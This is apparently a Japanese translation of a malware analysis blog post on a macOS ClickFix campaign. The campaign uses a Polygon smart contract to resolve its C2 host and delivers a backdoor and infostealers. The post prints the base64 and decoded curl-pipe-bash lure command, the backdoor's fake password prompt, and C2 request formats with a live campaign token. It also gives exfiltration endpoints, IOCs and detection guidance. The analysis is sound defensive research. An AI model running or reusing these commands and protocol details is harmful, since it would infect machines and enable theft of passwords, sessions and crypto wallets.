要約
- bazinga.bizに繰り返しアクセスすると、広告ページ、あるいはCloudKey、SentinelGate、Meridianを名乗る偽の認証画面が表示されました。確認された認証ページはいずれも同一のClickFixコマンドを配信していました。
- そのコマンドは
update.shをダウンロードし、永続化用のLaunchAgentと難読化されたAppleScriptローダーをインストールしました。 - このローダーは固定のC2ドメインを保持していません。読み取り専用の
eth_callを通じてPolygonコントラクト0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0から現在のホスト名を読み取ります。9月14日の時点でこのコントラクトはjse8x92s[.]meを返しており、9月16日時点でも変わっていませんでした。 - サーバーはバックドアと2種類のインフォスティーラーを配信しました。これらは合わせて、検証済みのmacOSパスワード、ブラウザセッション、Keychainデータ、暗号資産ウォレット、Telegramデータ、メモ、ローカルファイルを窃取します。
- 同一のキャンペーントークンを15分間隔で90分間再取得したところ、
bmoduleとledgerのスタブは変化しませんでした。一方、smoduleとlmoduleはポーリングが成功するたびに異なるSHA-256を返しました。 - 本日時点のC2ホスト名をブロックするだけでは不十分です。コントラクト、LaunchAgent、
txid=のPOST本文、そしてフォールバック用IPアドレス62.60.226[.]50を追跡してください。スティーラーのファイルハッシュを恒久的な検知指標として扱わないでください。
BazingaからClickFixへ
私は『ビッグバン★セオリー』でこのアドレスが言及されているのを耳にし、bazinga.bizにアクセスしてみました。ブラウザはCloudKeyを名乗るページにリダイレクトされ、「私はロボットではありません」というチェックボックスが表示されました。これをクリックすると、Spotlightを開く、Terminalを起動する、ペーストする、Returnキーを押すという4つの手順が示されました。
その後のアクセスでは、広告ページやSentinelGate、Meridianを名乗る認証画面が表示されました。Meridianではトラッキング風の参照番号34YS-455Dが示されていました。デザインは変化していましたが、チェックボックスをクリックした後、いずれの認証ページも同一の初期シェルコマンドを配信していました。
これらのパネルはいずれも、訪問者にTerminalへの貼り付けを促します。共通するコマンドは以下の通りです。
bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9icmVhZC5hcmtvbWV4ZGVzYXJyb2xsb3MuY29tL3VwZGF0ZS5zaCcgfCBiYXNo" | base64 -d)
デコードすると次の通りです。
curl -s 'hxxps://bread[.]arkomexdesarrollos[.]com/update.sh' | bash
投稿されたワンライナーのSHA-256は3f07a13c23cf59860166d5fc7a6131dcc4fd57997c47ebcf6a04932bf2070e60です。
Caronteが再構築した攻撃チェーン
私はこのコマンドをCaronteに投入しました。このたった一行から、Caronteはupdate.shをダウンロードし、AppleScriptの各層をデコードし、LaunchAgentを抽出し、Polygon上で稼働中のコマンドサーバーを解決し、バックドアが返すモジュールの後を追跡しました。
このチェーンは、バックドアがポーリングを開始するまでは直線的です。それ以降は、サーバーがタスクを選択し、対応するモジュールを返す仕組みになります。
コマンドから永続化まで
取得したスクリプトは17,813バイトです。AppleScriptインストーラーをデコードし、osascriptで実行します。このインストーラーは以下のLaunchAgentを書き込み、ロードします。
~/Library/LaunchAgents/com.aumshoyxjpylzfbc.plist
RunAtLoadによりログイン時に起動し、KeepAliveにより終了しても再起動します。そのプログラム引数には12,408文字のBase64ローダーが含まれ、これをデコードすると別のAppleScriptになります。この段階に含まれる文字列のほとんどは、単純なテキスト検索を回避するため一文字ずつ組み立てられています。
Polygonがコマンドサーバーを解決する仕組み
このローダーは固定のコマンドサーバードメインを保持していません。代わりに、Polygonのスマートコントラクトに現在のホスト名を問い合わせます。
Network: Polygon
Contract: 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0
Getter selector: 0x2686ecea
Setter selector: 0xd75d1ba6
読み取り専用のeth_callを、polygon.drpc.org、polygon.publicnode.com、polygon-mainnet.gateway.tatum.io、tenderly.rpc.polygon.communityという4つの公開RPCサービス経由で送信します。これらはいずれも正規のプロバイダーであり、ここでは設定情報の照会先として悪用されています。
9月14日時点で、このコントラクトは以下にデコードされるエンコード済み文字列を返しました。
6a736538783932732e6d65 -> jse8x92s[.]me
このコントラクトは一種のディレクトリです。スクリプトや窃取データは依然として通常のWebサーバーを経由しますが、攻撃者はローダーを差し替えることなくPolygon上に保存されたホスト名を変更できます。この種の手口をGuardio Labsは2023年にEtherHidingと名付けました。同一のPolygonコントラクトとgetterは、NetbyteSEC、PHK、Have I Been Squattedによる過去のmacOS ClickFix調査にも登場しています。
バックドア
ホスト名を解決した後、ローダーは今回の捕捉分のキャンペーントークンを付けてbmoduleをリクエストします。
txid=962d87b1d1f7791ede110c2fd8061dc7&bmodule
このトークンは32桁の16進数からなる顧客識別子あるいはビルド識別子です。同一コントラクトを対象とした他の公開分析では、同じtxid=のスロットに8a4e280e1159833ede425a1306c2efe5など異なる値が使われていました。
サーバーは32,934バイトのAppleScript製バックドアを返しました。これはユーザー名とハードウェアUUIDを収集し、C2を再度解決した上で、偽のシステム環境設定パスワードプロンプトを表示します。
Please enter password for continue:
入力されたパスワードはdscl . authonlyで検証され、成功するまでダイアログが繰り返し表示されます。パスワードは~/.passphraseに保存され、キャンペーントークンは~/.txidに保存されます。バックドアはさらにtccutil reset Allを実行し、既存のプライバシー許可設定をクリアすることで、macOSが再度確認を求めるようにします。
登録が完了すると、60秒間隔のループが、ホスト識別子とキャンペーントークンを使ってタスクを要求します。ディスパッチャーは、攻撃者側が指定するタスクワードを、対応するモジュールの取得へとマッピングします。
| タスク | モジュール | 今回の捕捉分での結果 |
|---|---|---|
runloader |
smodule |
206,681バイトの認証情報・ウォレット・ファイル窃取ツール |
runlight |
lmodule |
自らをEssential macOS Stealer、NITRO2と名乗るスティーラー |
replacer |
ledger |
シェル出力を/dev/nullへリダイレクトする34バイトのスクリプト |
openshell |
shell |
空のHTTPボディ |
タスク名自体は安定していますが、smoduleとlmoduleの背後にあるバイト列は一定ではありません。このキットの他の捕捉例では、ledgerに対してLedger Walletを装ったフィッシング用ディスクイメージが配信され、openshellに対してはMach-O形式のシェルエージェントが配信された例もあります。今回の捕捉、および9月16日に行ったすべてのライブ再クエリでは、この2つのフェッチはそれぞれスタブと空のボディを返しました。
2種類のインフォスティーラー
smoduleは高度に難読化されたAppleScript製のインフォスティーラーで、以下を収集します。
- ユーザー名、macOSのバージョン、ハードウェアUUID、パブリックIPアドレス
- あらかじめ
~/.passphraseに保存されていたパスワード - ブラウザのパスワード、Cookie、ログイン情報データベース
~/Library/Keychains/login.keychain-db- 50種類以上の暗号資産ウォレットアプリケーションのデータ
- Apple Notes、Telegram Desktopのデータ、選別されたデスクトップおよび書類フォルダ内のファイル
これらのデータは/tmp/ccd01d90608c2dcfce644c41502a7691789402688/配下に一時保存され、curlを使ってhxxps://jse8x92s[.]me/upload.phpにアップロードされます。これが失敗した場合はhxxp://62.60.226[.]50/upload.phpが使われます。
lmoduleは同じループから配信される2つ目のインフォスティーラーです。以下のビルド識別情報が含まれています。
Essential macOS Stealer
Build: NITRO2
これはブラウザプロファイル、Keychainのデータ、Telegramのデータ、デスクトップ型ウォレット、そして170種類以上のウォレット・パスワードマネージャー系ブラウザ拡張機能を狙います。収集したデータは/tmpに一時保存され、dittoでアーカイブが作成された後、同じ主要・フォールバック両方のアップロード先エンドポイントを使用します。
NetbyteSECはこのモジュール構成をAtomic macOS Stealer(AMOS)と関連づけていました。Caronteがsmoduleとlmoduleの両方をライブ分析した結果、同一のEssential macOS Stealer / NITRO2というバナーが確認されています。同一のPolygonキットに関する公開情報の追跡では、Phexiaという名称も使われています。Caronteはバックドアの挙動から、Phexiaとの関連性が高いと評価しています。
C2の通信方式
ローテーションするホスト名は単なるポインターに過ぎません。Polygonでの解決後の各段階はすべて、そのホスト上の/に対する通常のHTTP通信であり、ボディはapplication/x-www-form-urlencoded形式です。独自のバイナリフレーミングは存在せず、フォールバック経路にも追加の暗号化はありません。
| 方向 | リクエスト | レスポンス |
|---|---|---|
| ローダー → C2 | POST / txid=<32桁の16進数>&bmodule |
AppleScript製バックドア。osascriptにパイプされる |
| バックドア → C2ポーリング | 60秒ごとにPOST / uuid=<IOPlatformUUID>&username=<user>&txid=<txid>&task |
runloader、runlight、replacer、openshellなどのタスクワード |
| タスク → モジュール | POST / txid=<txid>&smoduleまたは&lmoduleまたは&ledger、あるいはuuid=&username=&txid=&shell |
スティーラーのAppleScript、スタブ、またはシェルヘルパー |
| スティーラー → C2 | POST /upload.php マルチパートアーカイブ |
今回の確認では空のHTTP 200 |
| フォールバック | hxxp://62.60.226[.]50上の同一の/upload.php |
同じく空の200 |
txidの値はキャンペーンまたは顧客を識別するトークンであり、被害者を識別するものではありません。今回の捕捉分では962d87b1d1f7791ede110c2fd8061dc7が使われていました。同一コントラクトに関する公開レポートでは、8a4e280e1159833ede425a1306c2efe5やc8a845e30830c48f753d01aa38927dc0という値が使われています。これは異なるパネル顧客数の下限を示すものであり、感染したMacの台数の下限を示すものではありません。通信上でのホストの識別は、ハードウェアUUIDとローカルのユーザー名の組み合わせによって行われます。これらの値は、認証なしのリクエストでは一覧表示されません。
このキットに関する過去の分析では、/ledger/index.php?txid=にあるLedgerフィッシングページと、ws://62.60.226[.]50:1337/ws/agentにあるWebSocket製シェルエージェントについても記録されています。2026年9月16日時点で、https://jse8x92s[.]me/ledger/index.phpは404を返し、フォールバック用IPアドレスのTCP/1337ポートは閉じていました。
このボットプロトコルは被害者一覧を公開していません。稼働中のホスト名および62.60.226[.]50に対するGET /は、空の200 text/plainボディを返しました。GET /upload.phpも空の200を返しました。公開されたインデックスは存在しないため、攻撃者側の認証情報がなければ、C2から被害者数を読み取ることはできません。
ライブ確認:スティーラーはローテーションするがバックドアは変わらない
2026年9月16日、私はjse8x92s[.]meのPOST /に対して、txid=962d87b1d1f7791ede110c2fd8061dc7を使い、4つのモジュールセレクターを15分間隔で90分間にわたり再リクエストしました。Polygonのgetterは依然としてこのホスト名を返し続け、このキャンペーントークンは引き続きバックドアを受け取りました。
| セレクター | 7回のポーリング(12:23~13:53 UTC)を通じて |
|---|---|
bmodule |
同一の32,934バイトのAppleScript。SHA-256はa9383cea…で、今回の捕捉分と一致 |
ledger |
同一の34バイトのスタブ。SHA-256はef94799c…で、今回の捕捉分と一致 |
smodule |
成功したポーリングのたびに異なるSHA-256。ボディサイズは203~207KB。13:38 UTCではC2が空のHTTP 200を返し、その後13:53には205KBのボディを返した |
lmodule |
ポーリングのたびに異なるSHA-256。ボディサイズは168~175KB。空になったことはなし |
Polygon上のホスト名は変化の遅いポインターです。9月10日の書き込み以降動いておらず、この観測期間中も変化はありませんでした。それでもスティーラーの方は変化していました。コントラクトの更新もbmoduleの変化もない中で、6種類の異なる非空のsmoduleのボディと、7種類の異なるlmoduleのボディが届いたのです。
これはC2の移転ではなく、パッキング(難読化・再パッケージ化)の結果です。ライブで取得したボディを静的解析したところ、同一のNITRO2バナー、同一のtxid、同一のアップロード先エンドポイントが確認されました。すべての文字列はcharacter idの連結によって再構築されているため、ファミリー自体は変わらないままSHA-256だけが変化するのです。最初のCaronte捕捉分から得たsmoduleのハッシュは、その翌日の最初のライブポーリングの時点で、すでに別の検体になっていました。追うべきは昨日のスティーラーのSHA-256ではなく、txid=のPOSTです。
Polygon上のC2履歴
Polygonの公開トランザクション履歴からは、リゾルバーコントラクトに過去書き込まれたホスト名を確認できます。今回の捕捉時期前後の値は以下の通りです。
| トランザクション日時(UTC) | デコード後の値 |
|---|---|
| 2026-07-21 06:22:06 | 67sixcebeh[.]surf |
| 2026-07-31 16:28:45 | stv4ec5[.]shop |
| 2026-08-12 11:42:16 | vg5sgxv[.]lol |
| 2026-08-31 17:11:34 | machine628[.]baby |
| 2026-09-05 23:06:12 | nsi8kw1r[.]lol |
| 2026-09-07 09:50:46 | d9mjs[.]sbs |
| 2026-09-10 19:16:34 | jse8x92s[.]me |
9月10日のトランザクションは、入れ子構造になったredeemDelegations呼び出しです。ホスト名は内側のセッター呼び出しデータの中に含まれています。送信元は0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3というウォレットで、setServerURL(0xd75d1ba6)を発行しています。9月14日に行ったコントラクトの読み取りでも、同じjse8x92s[.]meという値が返されました。
この表は、その後のローテーションの一部を抜粋したものであり、オンチェーン履歴の全体ではありません。
2026年9月16日に実施したDNSおよびHTTPの確認により、これらのドメイン名がいかに使い捨てであるかが明らかになりました。5月以降にコントラクトへ書き込まれた20個の稼働ホスト名のうち、17個はすでに名前解決できませんでした。DNSが残っていたのは3個のみです。
| ホスト | 9月16日時点の名前解決 | HTTP |
|---|---|---|
jse8x92s[.]me |
Cloudflareの188.114.96[.]7 / 188.114.97[.]7 |
/および/upload.phpで空の200。TLS証明書はGoogle Trust Servicesにより9月9日発行、オンチェーン書き込みの1日前 |
smdh7[.]surf |
同一のCloudflareエニーキャストアドレス | Cloudflareの403。証明書は依然有効だが、オリジン側はもはやパネルを提供していない |
bduwih8[.]pro |
Cloudflareの104.21.61[.]3 |
Cloudflareの403 |
恒久的に残るノードはドメインではありません。62.60.226[.]50は依然としてTCP/80で応答し、Apache/2.4.58 (Ubuntu)を稼働させています。WHOIS情報によれば、このアドレスは62.60.226.0/24の範囲に属し、ネットネームはFEMOITSOLUTIONS-DE-RENTNET、AS214351 FEMO IT SOLUTIONS LIMITEDに割り当てられ、フランクフルトにジオロケーションされています。TCP/443とTCP/1337は閉じていました。このファミリーのスティーラーは、現在のCloudflareホスト名へのアップロードが失敗した場合にこのIPアドレスへ窃取データをPOSTするため、jse8x92s[.]meを潰しても、投下先自体は潰れません。
検知と対応
価値の高い検知は、この攻撃チェーンにおける複数のアクションを組み合わせることで実現できます。
| 探すべきもの | 重要な理由 |
|---|---|
com.に16桁のランダムな小文字が続く名前のユーザーLaunchAgentで、bashやosascriptを呼び出す長いBase64引数を持つもの |
永続化用ローダーの発見につながる |
curlの出力をbash、sh、osascriptにパイプする動作 |
ダウンロードと実行の遷移箇所の発見につながる |
シェルまたはAppleScriptプロセスから0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0、またはセレクター0x2686eceaへのeth_call |
Polygonリゾルバーの発見につながる |
新たに解決されたホスト、あるいは62.60.226[.]50に対するtxid=とbmodule / smodule / lmodule / task / upload.phpのHTTP POST |
スティーラーのバイト列が毎回変化しても、ライブC2の発見につながる |
同一のtxidにおける、安定したbmoduleのハッシュとローテーションするsmodule / lmoduleのハッシュ |
固定されたバックドアと消耗品的なスティーラーを区別できる |
繰り返されるdscl . authonly、パスワードダイアログ、および~/.passphraseの生成 |
パスワード窃取のフローの発見につながる |
ブラウザとKeychainの読み取りに続く、/tmp配下でのditto実行とcurlによるアップロード |
データ収集と窃取(エクスフィルトレーション)の発見につながる |
このバックドアが書き込む2つのドットファイルを検出するosqueryクエリです。
SELECT path FROM file
WHERE path LIKE '/Users/%/.passphrase'
OR path LIKE '/Users/%/.txid';
これらの挙動がMac上で確認された場合は、該当端末を隔離し、LaunchAgentをアンロードして削除し、ブラウザセッションを無効化した上で、クリーンな端末から認証情報をローテーションしてください。ウォレットアプリケーションのデータを確認し、流出した可能性のある資金は新規生成した鍵へ移動させてください。現在のC2とアップロード先エンドポイントをブロックした上で、ホスト名は変化しうることを踏まえ、コントラクトアドレスおよび攻撃者のウォレットについても追跡してください。
侵害指標(IOC)
| 指標 | 役割 |
|---|---|
bazinga[.]biz |
確認された侵入経路のドメイン |
bread[.]arkomexdesarrollos[.]com/update.sh |
初期ペイロードのURL |
jse8x92s[.]me |
9月14日および9月16日時点のC2ホスト名 |
hxxps://jse8x92s[.]me/upload.php |
主要アップロード先エンドポイント |
hxxp://62.60.226[.]50/upload.php |
フォールバック用アップロード先エンドポイント |
62.60.226[.]50 |
オリジン/フォールバックホスト、AS214351 |
0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 |
Polygonリゾルバーコントラクト |
0x2686ecea |
Getterセレクター |
0xd75d1ba6 |
Setterセレクター(setServerURL) |
0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3 |
ホスト名を書き込む攻撃者側ウォレット |
polygon.drpc.org |
悪用された公開Polygon RPC |
polygon.publicnode.com |
悪用された公開Polygon RPC |
polygon-mainnet.gateway.tatum.io |
悪用された公開Polygon RPC |
tenderly.rpc.polygon.community |
悪用された公開Polygon RPC |
962d87b1d1f7791ede110c2fd8061dc7 |
キャンペーントークン |
~/Library/LaunchAgents/com.aumshoyxjpylzfbc.plist |
永続化用パス |
~/.passphrase / ~/.txid |
パスワードおよびキャンペーントークンのファイル |
この4つのRPCホストはいずれも正規のサービスです。検知すべきシグナルは、ブラウザ以外のプロセスがこのコントラクトに対してeth_callを呼び出している点にあります。
ファイルハッシュ
| 機能上の役割 | SHA-256 |
|---|---|
| 投稿されたClickFixコマンド | 3f07a13c23cf59860166d5fc7a6131dcc4fd57997c47ebcf6a04932bf2070e60 |
update.sh |
79126547a08a785eb408f9a89660b7954ffc8ec124d8c6173851cf6609b35b28 |
| 永続化用インストーラー | 31dc215220db6e5564730c1c909865ae1301e44c7ecc33973901401b0793144d |
| LaunchAgentローダー | c236a4db85d709e89184752f65102349f6a272befd57741cf35b9236028daf08 |
| 別途抽出したリゾルバー | e5634ec22a0a2db056eff1999b2d31511f8eb01c37ed57dd10f1b70f476e96e0 |
バックドアモジュール(bmodule)、9月16日時点でも配信継続中 |
a9383cea53d6c6c3e4a764d23fbd0c1ccf7c010f20624860fed85faf8de71136 |
9月14日の捕捉分によるsmodule |
b0536db10a710b8627ac701d2c28d8717412a51c4093145031d8c8217c014496 |
9月14日の捕捉分によるlmodule |
ed943056669a5e2cd6f92ff47f1855ca10d66ec6e50ea22076c7b5c7aaacb170 |
ledgerスタブ、9月16日時点でも配信継続中 |
ef94799c12f00235920699106e27d9a45595549845724f3c9dede02aa5b96a06 |
ライブ観測期間中のsmoduleおよびlmoduleのハッシュ値は割愛しています。15分ごとのポーリングが成功するたびに、異なるダイジェスト値が得られたためです。これらの値はローテーションが行われている証拠ではあっても、明日以降も一致し続ける指標ではありません。
結論
目新しいドメインから偽の認証ページへと誘導されましたが、その裏にあるコマンドが開いたのは、完全な感染チェーンでした。ログイン時の永続化、変更可能なC2ディレクトリとしてのPolygonの利用、検証済みmacOSパスワードの窃取、そして2種類のインフォスティーラーを配信するタスクループです。
このディレクトリに登録されたホスト名は今後も変化していくと見られます。9月16日の90分間の観測ではその動きはありませんでしたが、スティーラーの方はポーリングのたびに変化し続けた一方、バックドアとledgerスタブは変わりませんでした。コントラクト、LaunchAgent、そしてtxid=のPOST本文を追跡してください。本日時点のsmoduleのハッシュは、すでに古くなっている可能性があります。
参考文献
- Guardio Labs: “EtherHiding” — Hiding Web2 Malicious Code in Web3 Smart Contracts — 2023年に発表された、この技術の名称の由来となった論文。
- NetbyteSEC: Anatomy of a macOS ClickFix Crimekit that Weaponises EtherHiding — 同一のリゾルバーコントラクトおよび関連するモジュール構成についての先行分析。
- PHK: macOS ClickFix Loads Its C2 From a Polygon Smart Contract — リゾルバーおよび攻撃者ウォレットに関する先行の独立調査。
- Have I Been Squatted: From typosquatting to macOS backdoor via ClickFix and blockchain C2 — 同一のモジュールAPIに関する先行分析。他の
ledgerやopenshellのペイロードも含む。 - Ethereum JSON-RPC documentation: eth_call — この読み取り専用呼び出しの仕様。
- Polygon Blockscout: September 10 transaction —
jse8x92s[.]meを含む入れ子構造のセッター呼び出しデータ。
翻訳元: https://beelzebub.ai/blog/bazinga-macos-backdoor-polygon-c2/